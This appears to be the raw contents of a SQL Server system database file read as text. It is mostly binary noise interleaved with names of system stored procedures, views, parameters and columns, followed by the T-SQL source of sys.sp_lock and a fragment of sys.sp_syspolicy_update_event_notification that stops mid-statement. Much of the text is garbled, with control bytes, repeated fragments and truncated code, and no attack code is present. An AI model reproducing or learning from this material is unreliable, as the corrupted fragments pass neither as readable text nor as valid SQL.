Jsp_fulltext_thesaurus_add_term&iFsp_fulltext_thesaurus_update&&'(psp_filestream_recalculate_container_size_internal&zcY^sp_filestream_recalculate_container_size&qlsp_filestream_force_garbage_collection_internal&@Zsp_filestream_force_garbage_collection&T*sp_foreignkeys&wCsp_fkeys&':sp_foreign_keys_rowset&R<sp_foreign_keys_rowset2&
[0<sp_foreign_keys_rowset3&pc2Bsp_foreign_keys_rowset_rmt&ZiLsp_expired_subscription_cleanup&HE4sp_firstonly_bitmap&J'aXsp_FuzzyLookupTableMaintenanceInstall&P\sp_FuzzyLookupTableMaintenanceUninstall&TGVsp_FuzzyLookupTableMaintenanceInvokecollection_internal&@Zsp_filestream_force_garbage_collection&:(sp_grantlogin&
Jsp_help_spatial_index_internal&͚Tsp_help_spatial_index_internal_auto&Xsp_help_spatial_geometry_index_helper&9Zsp_help_spatial_geography_index_helper&7
Jsp_help_spatial_geometry_index&ǏSRsp_help_spatial_geometry_index_xml&ZgLsp_help_spatial_geography_index&\Tsp_help_spatial_geography_index_xml&Rsp_help_spatial_geometry_histogram&w!Tsp_help_spatial_geography_histogram&T*sp_foreignkeys&wCsp_fkeys&':sp_foreign_keys_rowset&R<sp_foreign_keys_rowset2&
[0<sp_foreign_keys_rowset3&pc2Bsp_foreign_keys_rowset_rmt&%rX6sp_getProcessorUsage&K8sp_getVolumeFreeSpace&ZiLsp_expired_subscription_cleanup&`sp_get_job_status_mergesubscription_agent&ݜhsp_get_job_status_mergepullsubscription_agent&hsp_get_job_status_mergepushsubscription_agent&;$2sp_get_distributor&.n4sp_getpublisherlink&82Nsp_getsubscriptiondtspackagename&HE4sp_firstonly_bitmap&,Dsp_generate_agent_parameter&_8sp_help_agent_profile&8sp_help_agent_default&lf<sp_help_agent_parameter&Y)Dsp_grant_publication_access&Bsp_help_publication_access&>sp_help_datatype_mapping&^Fsp_getdefaultdatatypemapping&ۥ>sp_getagentparameterlist&!*sp_helparticle&]8sp_helparticlecolumns&ULBsp_getOraclepackageversion&0sp_helparticledts&.sp_getqueuedrows&=aFLsp_getqueuedarticlesynctraninfo&T8sp_getsqlqueueversion&k2sp_gettopologyinfo&Tsp_getsubscription_status_hsnapshot&Nsp_get_Oracle_publisher_metadata&Hsp_help_peerconflictdetection&2LDsp_get_redirected_publisher&*h4@sp_hadr_get_target_server& Rsp_hadr_verify_configured_for_repl&EZVsp_hadr_verify_replication_publisher&{\sp_hadr_verify_publisher_at_distributor&\sp_hadr_verify_subscribers_at_publisher&~Fsp_hadr_create_linked_server&s@@sp_hadr_get_current_error&oBsp_hadr_drop_linked_server&zfsp_hadr_validate_replica_hosts_as_publishers&GUbsp_hadr_validate_replica_host_as_publisher&Xsp_help_log_shipping_primary_database&DZsp_help_log_shipping_primary_secondary&MZsp_help_log_shipping_secondary_primary&H\sp_help_log_shipping_secondary_database&$Vsp_help_log_shipping_monitor_primary&Zsp_help_log_shipping_monitor_secondary& Jsp_help_log_shipping_alert_job&Fsp_help_log_shipping_monitor&|Hsp_helpallowmerge_publication&#Zsp_get_mergepublishedarticleproperties&G2sp_generatefilters&H8sp_getmergedeletetype&J'aXsp_FuzzyLookupTableMaintenanceInstall&P\sp_FuzzyLookupTableMaintenanceUninstallXd:rL*r2:N~hpd
t
	*f2,.dr@L.	p>@	`2
6T"^e}G6&:sp_trace_generateevent&z.sp_trace_getdata&%xO0sp_trace_setevent&z2sp_trace_setfilter&2sp_trace_setstatus&,sp_unbindefault&pn(sp_unbindrule&w&sp_unprepare&,+,sp_unsetapprole&D<sp_update_user_instance&'@sp_updateextendedproperty&z*sp_updatestats&H.sp_user_counter1&0sp_user_counter10&[:.sp_user_counter2&>.sp_user_counter3&Pn.sp_user_counter4&.sp_user_counter5&.sp_user_counter6&.sp_user_counter7&;.sp_user_counter8&n.sp_user_counter9&='0sp_validatelogins&#&sp_validlang&&sp_validname&&nsp_who&qKsp_who2&j:sp_xml_preparedocument& 8sp_xml_removedocument&Ք2Fsp_xp_cmdshell_proxy_account&Dspatial_index_tessellations&,spatial_indexes&u@spatial_reference_systems&$Hspatial_reference_systems_tvf&28spt_datatype_info_ext&W#0spt_datatype_info&2spt_all_procedures&8spt_columns_odbc_view&t;Jspt_column_privileges_set_view&FINspt_column_privileges_owner_view&!=.spt_columns_view&vCHspt_check_constbytable_rowset&F,sp_views_rowset&vq.sp_views_rowset2&(4sp_usertypes_rowset&6sp_usertypes_rowset2&\3<sp_usertypes_rowset_rmt&=6sp_xml_schema_rowset&$=8sp_xml_schema_rowset2&>spt_columns_view_managed&Jsp_unlink_publication_internal&s8sp_unlink_publication&vRsp_vupgrade_subscription_databases&|Dsp_vupgrade_express_edition&dsp_vupgrade_registry_custom_resolver_katmai&-6sp_vupgrade_registry&UsLsp_vupgrade_subscription_tables&k9<sp_vupgrade_mergetables&4sp_vupgrade_subpass&WˬXsp_vupgrade_MSsubscription_properties&M2sp_vupgrade_distdb&J8sp_vupgrade_publisher&#Vsp_vupgrade_heterogeneous_publishers&C=@sp_vupgrade_syscol_status&jHsp_vupgrade_sysarticlecolumns&G<sp_vupgrade_publisherdb&Zsp_vupgrade_updatingpublicationarticle&6sp_vupgrade_replmsdb&֕>sp_vupgrade_mergeobjects&9f<sp_vupgrade_replication&73Psp_vupgrade_replsecurity_metadata&Nsp_validatemergepullsubscription&.q2sp_verifypublisher&I*sp_unsubscribe&Ӫ2Jsp_unregister_custom_scripting&.sp_validatecache&&<sp_update_agent_profile&4HNsp_validate_redirected_publisher&m'\sp_validate_replica_hosts_as_publishers&O<sp_upgrade_log_shipping&GJDsp_unregistercustomresolver&NDsp_UDFhas_builtin_functions&贲Fsp_validatemergesubscription&_Dsp_validatemergepublicationolumn_privileges_owner_view&!=.spt_columns_view&~4<spt_sparse_columns_view&%EDspt_table_type_columns_view&.spt_indexes_view&2%6spt_indexes_view_100&U&8spt_primary_keys_view&MNspt_table_type_primary_keys_view&
,spt_tables_view&6^6spt_table_types_view&@@spt_table_privileges_view&vCHspt_check_constbytable_rowset&F,sp_views_rowset&vq.sp_views_rowset2&[6spt_tables_info_view&7i>spt_tablecollations_view&(4sp_usertypes_rowset&6sp_usertypes_rowset2&\3<sp_usertypes_rowset_rmt&<spt_provider_types_view&M@spt_procedure_params_view&{\spt_procedure_params_return_values_view&V4spt_xml_schema_view&=6sp_xml_schema_rowset&$=8sp_xml_schema_rowset2&>spt_columns_view_managed&}n>spt_indexes_view_managed&oHspt_indexcolumns_view_managed&Jsp_unlink_publication_internal&s8sp_unlink_publication&vRsp_vupgrade_subscription_databases&|Dsp_vupgrade_express_edition&dsp_vupgrade_registry_custom_resolver_katmai&-6sp_vupgrade_registry&UsLsp_vupgrade_subscription_tables&k9<sp_vupgrade_mergetables&4sp_vupgrade_subpass&WˬXsp_vupgrade_MSsubscription_properties&M2sp_vupgrade_distdb&J8sp_vupgrade_publisher&#Vsp_vupgrade_heterogeneous_publishers&C=@sp_vupgrade_syscol_status&jHsp_vupgrade_sysarticlecolumns&G<sp_vupgrade_publisherdb&Zsp_vupgrade_updatingpublicationarticle&6sp_vupgrade_replmsdb&֕>sp_vupgrade_mergeobjects&9f<sp_vupgrade_replication&73Psp_vupgrade_replsecuri&
Brp@P$		b(
*
||r\
b>
8*
VvfF	|		Hb4~>*Ld

\*`g
` " f:%3&y4dm_qn_subscriptions&IRdm_resource_governor_configuration&+Zddm_resource_governor_resource_pool_affinity&Tdm_resource_governor_resource_pools&Vdm_resource_governor_workload_groups&Y:dm_server_audit_status&M:dm_server_memory_dumps&T2dm_server_registry&2dm_server_services&EBdm_sql_referenced_entities&
Ddm_sql_referencing_entities&]G:dm_tcp_listener_states&"Vhdm_tran_active_snapshot_database_transactions&46Ddm_tran_active_transactions&36dm_tran_commit_table&)>dm_tran_current_snapshot&Ddm_tran_current_transaction&P|Hdm_tran_database_transactions&V`1(dm_tran_locks&Fdm_tran_session_transactions&Jdm_tran_top_version_generators&_6Hdm_tran_transactions_snapshot&v8dm_tran_version_store&*W.dm_xe_map_values&Y6dm_xe_object_columns&
(dm_xe_objects&c*dm_xe_packages&Ddm_xe_session_event_actions&o.dm_repl_articles&,dm_repl_schemas&~.dm_repl_tranhash&.dm_repl_traninfo&p8`8n8Rh.Jj`0
f"Lg.J&6dm_pdw_request_steps&;d4dm_pdw_sql_requests&Z,dm_pdw_sys_info&f0dm_pdw_wait_stats&G&dm_pdw_waits&`p-)\ChItQ<T0-nw#Itotal_rows0-nw$Glast_rows0-nw%Emin_rows0-nw&Emax_rows0-pC@dbname0-pK@skipchecks0-pa@keepfulltextindexfile0-~88
Kdatabase_id0-~88
Icatalog_id0-~88
Etable_id0-~Qdocument_count0-~edocument_processed_count0-~88
Scompletion_type0-~kcompletion_type_description0-~88
Mworker_count0-~	88
Astatus0-~
Ystatus_description0-~==Istart_time0-~_incremental_timestamp0-Bg##;@p10-}HHEerror_id0-}Asource0-}=type0-}==Kcreate_time0-}88
Kpdw_node_id0-}@@Isession_id0-}@@Irequest_id0-}88
=spid0-}	88
Gthread_id0-}
@@Cdetails0-JK@table_name0-JO@table_schema0-JO@table_schema0-JK@table_name0-JO@table_schema0-JO@table_server0-JQ@table_catalog0-JK@table_name0-JO@table_schema-Qݣ0-Qݣ$$?@guid0-QݣE@prefix10-QݣE@prefix20-QݣE@prefix30-QݣE@prefix40-,?@name0-,xI@subsystem0-,W@owner_login_name0-,C@server0-,G@username0-,O@databasename0-,00E@enabled0-,88
G@freqtype0-,	88
O@freqinterval0-,
88
M@freqsubtype0-,88
U@freqsubinterval0-,88
_@freqrelativeinterval0-,
88
_@freqrecurrencefactor0-,88
U@activestartdate0-,88
Q@activeenddate0-,88
_@activestarttimeofday0-,88
[@activeendtimeofday0-,88
M@nextrundate0-,88
M@nextruntime0-,88
M@runpriority0-,Y@emailoperatorname0-,88
Q@retryattempts0-,88
K@retrydelay0-,@E@command0-,88
c@loghistcompletionlevel0-,88
_@emailcompletionlevel0-,M@description0-,Y@tagadditionalinfo0-,88
M@tagobjectid0-,88
Q@tagobjecttype0-,88
[@cmdexecsuccesscode0-, Q@category_name0-,!hhY@failure_detection0-,"88
G@agent_id0-,#88
G@proxy_id0-,$I@job_login0-,%O@job_password0-,&C@job_id0-,'$$O@job_step_uid0-CqM@publication0-Cq[@destination_folder0-88
[@heartbeat_interval0-88
C@map_id0-88
]@datatype_mapping_id-@m0-@mhhK@fsetprefix0-@mC@pbinin0-@m88
M@startoffset0-@m88
G@cbytesin0-_/M@publication0-_/E@article0-_/S@destination_db0-_/I@sync_type0-_/
[@loopback_detection0-88
A@artid0-00?@mode0-00Q@publishertype0-I@publisherOJW`kfSp+R

s
Y~MRDKBiU
f

	}	2	z2k"C.
_ Ej)5`-a)i(	O0-v00Astatus0-v44[min_length_in_bytes0-v44wrecord_length_first_part_in_bytes0-v@@crecord_image_first_part0-v	44yrecord_length_second_part_in_bytes0-v
@@erecord_image_second_part0-B4Swindows_release0-B4iwindows_service_pack_level0-B88
Kwindows_sku0-B88
[os_language_version0-4ENodeName0-88
Astatus0-Ystatus_description0-hhUis_current_owner0-O؉88
Oqueue_max_len0-O؉88
Qenqueued_count0-O؉88
Ostarted_count0-O؉88
Kended_count0-O؉88
Wfailed_lock_count0-O؉88
Yfailed_other_count0-O؉88
[failed_giveup_count0-O؉88
genqueue_failed_full_count0-O؉	88
qenqueue_failed_duplicate_count0-O؉
88
Qelapsed_avg_ms0-O؉88
Qelapsed_max_ms0-O؉88
Kpdw_node_id0-7vx4xGwait_type0-7v[waiting_tasks_count0-7vMwait_time_ms0-7vUmax_wait_time_ms0-7v[signal_wait_time_ms0-7v88
Kpdw_node_id0-'88
Ealert_id0-'88
Mcomponent_id0-'Ialert_name0-'@@?state0-'@@Eseverity0-'@@=type0-'Kdescription0-'Gcondition0-'	@@Astatus0-'
hhScondition_value0-K@table_name0-M@table_owner0-U@table_qualifier0-M@column_name0-%?wI@publisher0-%?wO@publisher_db0-%?wM@publication0-%?w88
Y@subscription_type-E88
0-E44O@publisher_id0-EO@publisher_db0-EM@publication0-E88
S@publication_id0-E88
I@retention0-E88
q@merge_SyncExpireTimeThreshold0-E88
k@merge_RunDurationThreshold0-E==M@currentdate-v 0-v88
A@artid0-I@publisher0-O@publisher_db0-I@tablename0-hhM@adjust_only0-00Q@for_publisher0-A@range0-I@next_seed0-88
I@threshold-0-88
I@object_id0-M@publication0-88
K@force_flag0-hhg@max_network_optimization0-M@articlename0-kM@publication0-kE@article0-kK@filtername0-kS@filter_type_bm0-W@publication_name0-I@publisher0-O@publisher_db0-88
g@logical_record_conflicts0-5/88
?@fkid0-5/hh=@set0-.$$E@rowguid0-.88
I@tablenick0-.00Q@metadata_type0-.7M@lineage_old0-.K@generation0-.7M@lineage_new0-.$$A@pubid0-.88
W@check_permission0-.	88
M@compatlevel0-.
hh]@articleisupdateable0-.44[@publication_number0-.88
O@partition_idM@compatlevel0-.
hh]@articleisupdateableJsFA\s*Yu0K[ipN
l
%
X>0Gx		g49J/jJc:

C
		T	Os`<-
A)%YjL~dq40-ouser_objects_alloc_page_count0-suser_objects_dealloc_page_count0-	winternal_objects_alloc_page_count0-
{internal_objects_dealloc_page_count0-$88
]spatial_reference_id0-$Qauthority_name0-$88
sauthorized_spatial_reference_id0-$@@Swell_known_text0-$Sunit_of_measure0-$>>5aunit_conversion_factor-0-I@publisher0-O@publisher_db0-M@publication0-hhE@toupper0-C88
A@objid0-CI@next_seed0-CA@range0-M@publication0-E@article0-88
A@objid0-88
A@artid0-88
a@publisher_database_id0-44O@publisher_id0-O@publisher_db0-;?@data0-;A@1data0-;A@2data0-;A@3data0-;A@4data0-	;A@5data0-
;A@6data0-;A@7data0-;A@8data0-
;A@9data0-;C@10data0-;C@11data0-;C@12data0-;C@13data0-;C@14data0-;C@15data0-;C@16data0-;C@17data0-;C@18data0-;C@19data0-;C@20data0-;C@21data0-;C@22data0-;C@23data0-;C@24data0-;C@25data0-;C@26data0-  C@action0-$$A@pubid0-K@subscriber0-Q@subscriber_db0-M@publication0-K@subscriber0-Q@subscriber_db0-G@property0-A@value0-hhi@force_reinit_subscription0-88
I@tablenick0-$$E@rowguid0-$$A@pubidE@article0-88
A@objid0-88
A@artid0-88
a@publisher_database_id0-44O@publisher_id0-O@publisher_db0-;?@data0-;A@1data0-;A@2data0-;A@3data0-;A@4data0-	;A@5data0-
;A@6data0-;A@7data0-;A@8data0-
;A@9data0-;C@10data0-;C@11data0-;C@12data0-;C@13data0-;C@14data0-;C@15data0-;C@16data0-;C@17data0-;C@18data0-;C@19data0-;C@20data0-;C@21data0-;C@22data0-;C@23data0-;C@24data0-;C@25data0-;C@26data0-
xI@subsystem0-
88
G@agent_id0-G@database0-W@backup_directory0-O@backup_share0-88
e@backup_retention_period0-hho@monitor_server_security_mode0-_@monitor_server_login0-e@monitor_server_password0-  C@actionul
]
*f

K
		AU4_r%\!HM
A

x
5
l)`

Z

		V		FUB`\- ),
kO2,w0-k88
Astatus0-kYstatus_description0-k
88
Scompletion_type0-kkcompletion_type_description0-k88
Mworker_count0-k88
aqueued_population_type0-kyqueued_population_type_description0-k==Istart_time0-k_incremental_timestamp0-{t88
Arun_id0-{t<<?stage0-{t@@Irequest_id0-{t  Astatus0-{t==Istart_time0-{t==Eend_time0-{t88
Ytotal_elapsed_time0-5qO@table_server0-5qK@table_name0-5qO@table_schema0-5qQ@table_catalog0-5qM@column_name0-5q88
E@ODBCVer0-@{OTABLE_CATALOG0-@{MTABLE_SCHEMA0-@{ITABLE_NAME0-@{KCOLUMN_NAME0-@{YCONSTRAINT_CATALOG0-@{WCONSTRAINT_SCHEMA0-@{SCONSTRAINT_NAME0-~C@server0-~88
9@X0-~88
9@Y-uP4POnet_transport0-uP4POprotocol_type0-u88
Uprotocol_version0-u88
Kendpoint_id0-uP4PQencrypt_option0-u	P4PKauth_scheme0-u
44Onode_affinity0-u88
Gnum_reads0-u88
Inum_writes0-u
==Glast_read0-u==Ilast_write0-u88
Snet_packet_size0-u040Yclient_net_address0-u88
Sclient_tcp_port0-u040Wlocal_net_address0-u88
Qlocal_tcp_port0-u$$Oconnection_id0-u$$]parent_connection_id0-u@@amost_recent_sql_handle0-mQVerboseLogging0-mYSqlDumperDumpFlags0-m4WSqlDumperDumpPath0-m]SqlDumperDumpTimeOut0-m_FailureConditionLevel0-mYHealthCheckTimeout0->88
G@newvalue0-S@component_type0-A@param0-G@loginame0-G@rolename-\0-\?@geom0-M4Efilename0-M++
"
Ocreation_time0-MOsize_in_bytes0-8lQtransaction_id0-8l@4@=name0-8l==atransaction_begin_time0-8l88
Utransaction_type0-8l$$Stransaction_uow0-8l88
Wtransaction_state0-8l88
Ytransaction_status0-8l88
[transaction_status20-8l	88
Gdtc_state0-8l
88
Idtc_status0-8l88
[dtc_isolation_level0-8lgfilestream_transaction_id0-8l
88
Kpdw_node_id0-{t88
Arun_id0-{t<<?stage0-{t@@Irequest_id0-{t  Astatus0-{t==Istart_time0-{t==Eend_time0-{t88
Ytotal_elapsed_time0-5qO@table_server0-5qK@table_name0-5qO@table_schema0-5qQ@table_catalog0-5qM@column_name0-5q88
E@ODBCVer0-gO@table_schema0-gM@column_name0-@{OTABLE_CATALOG0-@{MTABLE_SCHEMA0-@{ITABLE_NAME0-@{KCOLUMN_NAME0-@{YCONSTRAINT_CATALOG0-@{WCONSTRAINT_SCHEMA0-@{SCONSTRAINT_N		w	$	t)DPax(fM`-S
)a}l5&0-)`88
K@DatabaseId0-	iK@table_name0-	iO@table_schema0-	iK@table_type0-	iO@table_schema0-	iK@table_type0-	iO@table_server0-	iQ@table_catalog0-	iK@table_name0-	iO@table_schema0-	iK@table_type0-xv88
G@art_nick0-xv88
[@max_changes_in_gen0-xvE@nickbin0-xv=@gen0-xv88
S@changes_in_gen0-xvhhW@use_existing_gen0-Vȼ
4Qcollation_name0-Vȼ88
Muser_type_id0-Vȼ4Yuser_type_database0-Vȼ
4Uuser_type_schema0-Vȼ4Quser_type_name0-Vȼ@4@massembly_qualified_type_name0-Vȼ88
Wxml_collection_id0-Vȼ4cxml_collection_database0-Vȼ4_xml_collection_schema0-Vȼ4[xml_collection_name0-VȼhhSis_xml_document0-VȼhhWis_case_sensitive0-Vȼhheis_fixed_length_clr_type0-Vȼ4Osource_server0-Vȼ4Ssource_database0-Vȼ4Osource_schema0-Vȼ4Msource_table0-Vȼ4Osource_column0-VȼhhYis_identity_column0-Vȼhh_is_part_of_unique_key0-VȼhhOis_updateable0-VȼhhYis_computed_column0-Vȼ hh]is_sparse_column_set0-Vȼ!44eordinal_in_order_by_list0-Vȼ"hhaorder_by_is_descending0-Vȼ#44]order_by_list_length0-Vȼ$88
Merror_number0-Vȼ%88
Qerror_severity0-Vȼ&88
Kerror_state0-TC@server0-T
K@droplogins0-@@Ccounter0-Ioccurrence0->>5?value0-88
Kpdw_node_id0-'Q@pk_table_name0-'U@pk_table_schema0-']@foreignkey_tab_name0-'a@foreignkey_tab_schema0-'c@foreignkey_tab_catalog0-']@foreignkey_tab_name0-'a@foreignkey_tab_schema0-'Q@pk_table_name0-'U@pk_table_schema0-'W@pk_table_catalog0-'U@pk_table_schema0-'W@pk_table_catalog0-'a@foreignkey_tab_schema0-'c@foreignkey_tab_catalog0-'M@server_name0-'U@pk_catalog_name0-'U@fk_catalog_name0-'Q@pk_table_name0-'U@pk_table_schema0-']@foreignkey_tab_name0-'a@foreignkey_tab_schema0-	iK@table_name0-	iO@table_schema0-	iK@table_type0-	iO@table_schema0-	iK@table_type0-	iO@table_server0-	iQ@table_catalog0-	iK@table_name0-	iO@table_schema0-	iK@table_type0-㜂MVIEW_CATALOG0-㜂KVIEW_SCHEMA0-㜂GVIEW_NAME0-㜂OTABLE_CATALOG0-㜂MTABLE_SCHEMA0-㜂ITABLE_NAME0-㜂KCOLUMN_NAME0-GyI@user_name0-w88
K@profile_id0-t%00?@mode0-xv88
G@art_nick0-xv88
[@max_changes_in_gen0-xvE@nickbin0-xv=@gen0-xv88
S@changes_in_genj	WH[b6&Qdy*E`-B)m>60-54=name0-588
=size0-588
;low0-588
=high0-544Astatus0-544Gcntrltype0-54Cphyname0-6=name0-644=dbid0-6UU;sid0-644=mode0-688
Astatus0-688
Cstatus20-6==Acrdate0-6==Ereserved0-6	88
Ecategory0-6
00Gcmptlevel0-6Efilename0-644Cversion0-;88
?value0-;44Aconfig0-;4Ccomment0-;44Astatus0-<88
?value0-<88
Aconfig0-<4Ccomment0-<44Astatus0-94Qreference_name0-900Mcursor_scope0-988
Mcursor_handl0-888
Ocursor_handle0-84Kcursor_name0-888
Astatus0-800?model0-800Kconcurrency0-800Iscrollable0-800Kopen_status0-8ll	
	Kcursor_rows0-8	44Mfetch_status0-8
44Mcolumn_count0-8ll	
	Grow_count0-800Qlast_operation0-:88
Ocursor_handle0-:4Kcolumn_name0-:88
Uordinal_position0-:88
mcolumn_characteristics_flags0-:88
Kcolumn_size0-:88
Odata_type_sql0-:00Ucolumn_precision0-:00Mcolumn_scale0-:	88
Qorder_position0-:
4Sorder_direction0-:44Ohidden_column0-:88
Ecolumnid0-:
88
Eobjectid0-:88
=dbid0-:4Adbname0-788
Ocursor_handle0-74Ktable_owner0-74Itable_name0-744Qoptimizer_hint0-744Glock_type0-74Kserver_name0-788
Eobjectid0-788
=dbid0-7	4Adbname!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!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=
05E

d

		:	o q4]x)^PZR`o-cX)>n'0-
2A@start0-
2=@end0-<4Cag_name0-<$$?ag_id0-<4Qag_resource_id0-<4Kag_group_id0-c+4=name0-c+4Kdescription0-@88
9id0-@88
Astatus0-@4=path0-@Emax_size0-@==Gstop_time0-@88
Gmax_files0-@hhGis_rowset0-@hhKis_rollover0-@	hhKis_shutdown0-@
hhIis_default0-@88
Mbuffer_count0-@88
Kbuffer_size0-@
Ofile_position0-@88
Kreader_spid0-@==Istart_time0-@==Slast_event_time0-@Kevent_count0-@88
[dropped_event_count-0-?@geog0-%FLC@server0-%FLE@catalog0-%FLC@schema0-%FLA@table0-%FL?@name0-%FLE@grantor0-%FLE@grantee0-%FL4CGRANTOR0-%FL4CGRANTEE0-%FL4OTABLE_CATALOG0-%FL4MTABLE_SCHEMA0-%FL4ITABLE_NAME0-%FL4KCOLUMN_NAME0-%FL$$KCOLUMN_GUID0-%FL88
OCOLUMN_PROPID0-%FL	4QPRIVILEGE_TYPE0-%FL
hhMIS_GRANTABLE0-M@type_schema0-KQ@database_name0-K88
E@file_id-
3
0-
3
=@lsn0- ZI@publisher0- ZM@publisherdb0- ZM@publication0- ZG@procname0- ZK@proc_owner0- ZE@cftproc0- Z88
A@objid0- ZE@op_type0- Z	88
C@indent0- Z
O@identity_col0- ZC@ts_col0- Z[@primary_key_bitmap0- Z
88
K@pubversion0-f*88
I@object_id0-f*hhG@forceset0-bI@publisher0-bO@source_owner0-bO@source_table0-M@publication0-E@article0-G@procname0-hhA@alter0-88
K@article_id0-hhQ@useAlterTable0-hhI@useUnique0-hhE@verbose0-kM@publication0-k88
O@partition_id0-kW@maxgen_whenadded0-k[@host_name_override0-k_@suser_sname_override0-sdA@tname0-sdA@pname0-$$A@pubid0-$$A@artid0-hhc@recreate_conflict_proc0-&$$E@recguid0-&hhC@exists!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!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!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!OAl'Vu,	c	$	[=X
s
0
	`!

90y
(
]>Mf4U;Sw7^x`|-n.)o~Z0-
T44KBytes Freed0-
U88
KCI Table Id0-
V44KCI Index Id0-
WQNewAllocUnitId0-
X44MFileGroup ID0-
YKMeta Status0-
ZKFile Status0-
[44CFile ID0-
\

OPhysical Name0-
]MLogical Name0-
^..IFormat LSN0-
_ERowsetId0-
`CTextPtr0-
a88
OColumn Offset0-
b88
?Flags0-
cGText Size0-
dAOffset0-
eEOld Size0-
fENew Size0-
gKDescription0-
h88
kBulk allocated extent count0-
iOBulk RowsetId0-
jUBulk AllocUnitId0-
kwBulk allocation first IAM Page ID0-
lgBulk allocated extent ids0-
m``IVLFs added0-
n88
YInvalidateCache Id0-
o]InvalidateCache keys0-
poCopyVerionInfo Source Page Id0-
q..qCopyVerionInfo Source Page LSN0-
r88
oCopyVerionInfo Source Slot Id0-
s88
uCopyVerionInfo Source Slot Count0-
t@@WRowLog Contents 00-
u@@WRowLog Contents 10-
v@@WRowLog Contents 20-
w@@WRowLog Contents 30-
x@@WRowLog Contents 40-
y@@WRowLog Contents 50-
z44]Compression Log Type0-
{@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!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!O4
|
'
sn
K
	k	F{;t%Tu*A`+<HpRW0^ 8create procedure sys.sp_lock --- 1996/04/08 00:00
@spid1 int = NULL,		/* server process id to check for locks */
@spid2 int = NULL		/* other process id to check for locks */
as

set nocount on
/*
**  Show the locks for both parameters.
*/
set transaction isolation level read committed
if @spid1 is not NULL
begin
	select 	convert (smallint, req_spid) As spid,
		rsc_dbid As dbid,
		rsc_objid As ObjId,
		rsc_indid As IndId,
		substring (v.name, 1, 4) As Type,
		substring (rsc_text, 1, 32) as Resource,
		substring (u.name, 1, 8) As Mode,
		substring (x.name, 1, 5) As Status

	from 	master.dbo.syslockinfo,
		master.dbo.spt_values v,
		master.dbo.spt_values x,
		master.dbo.spt_values u

	where   master.dbo.syslockinfo.rsc_type = v.number
			and v.type = 'LR'
			and master.dbo.syslockinfo.req_status = x.number
			and x.type = 'LS'
			and master.dbo.syslockinfo.req_mode + 1 = u.number
			and u.type = 'L'

			and req_spid in (@spid1, @spid2)
end

/*
**  No parameters, so show all the locks.
*/
else
begin
	select 	convert (smallint, req_spid) As spid,
		rsc_dbid As dbid,
		rsc_objid As ObjId,
		rsc_indid As IndId,
		substring (v.name, 1, 4) As Type,
		substring (rsc_text, 1, 32) as Resource,
		substring (u.name, 1, 8) As Mode,
		substring (x.name, 1, 5) As Status

	from 	master.dbo.syslockinfo,
		master.dbo.spt_values v,
		master.dbo.spt_values x,
		master.dbo.spt_values u

	where   master.dbo.syslockinfo.rsc_type = v.number
			and v.type = 'LR'
			and master.dbo.syslockinfo.req_status = x.number
			and x.type = 'LS'
			and master.dbo.syslockinfo.req_mode + 1 = u.number
			and u.type = 'L'
	order by spid
end

return (0) -- sp_lock
0	s` 8CREATE PROCEDURE sys.sp_syspolicy_update_event_notification 
AS
    IF (msdb.dbo.fn_syspolicy_is_automation_enabled() = 0)
    BEGIN
        RETURN;
    END

	DECLARE @event_list nvarchar(max)
	SET @event_list = N''

	CREATE TABLE #temp_events (event_name sysname COLLATE database_default)
	INSERT #temp_events 
		SELECT DISTINCT fe.event_name COLLATE database_default
			FROM msdb.dbo.syspolicy_policies pi
			INNER JOIN msdb.dbo.syspolicy_conditions_internal c ON pi.condition_id = c.condition_id
			INNER JOIN msdb.dbo.syspolicy_facet_events fe ON c.facet_id = fe.management_facet_id
			INNER JOIN sys.event_notification_event_types ent ON fe.event_name = ent.type_name COLLATE database_default
			WHERE (pi.execution_mode & 2) = 2 AND pi.is_enabled = 1 AND
				EXISTS (SELECT * FROM msdb.dbo.syspolicy_object_sets_internal os WHERE os.object_set_id = pi.object_set_id)

	DECLARE event_cursor CURSOR LOCAL FOR 
		SELECT event_name FROM #temp_events
	
	DECLARE @event_name sysname
	OPEN event_cursor
	FETCH NEXT FROM event_cursor INTO @event_name
	WHILE @@FETCH_STATUS = 0
	BEGIN
		SET @event_list = @event_list + @event_name + ','	
		FETCH NEXT FROM event_cursor INTO @event_name
	END

	CLOSE event_cursor
	DEALLOCATE event_cursor

	DROP TABLE #temp_events

	-- take out the last comma
	IF( LEN(@event_list) > 0)
		SET @event_list = SUBSTRING(@event_list, 1, LEN(@event_list)-1)

	-- we need to drop and recreate the notification, because
	-- it cannot be altered		
	BEGIN TRANSACTION

	IF EXISTS (SELECT * FROM sys.server_event_notifications WHERE name = N'syspolicy_event_notification')
		DROP EVENT NOTIFICATION [syspolicy_event_notification] ON SERVER 

	-- no more events to read means we only drop the notification
	IF(LEN(@event_list)=0)
	BEGIN
		COMMIT TRANSACTION
		RETURN (0)
	END

	DECLARE @statement nvarchar(max)
	SET @statement  = N'USE msdb; CREATE EVENT NOTIFICATION [syspolicy_event_notification] ON SERVER
	FOR ' + @event_list + '
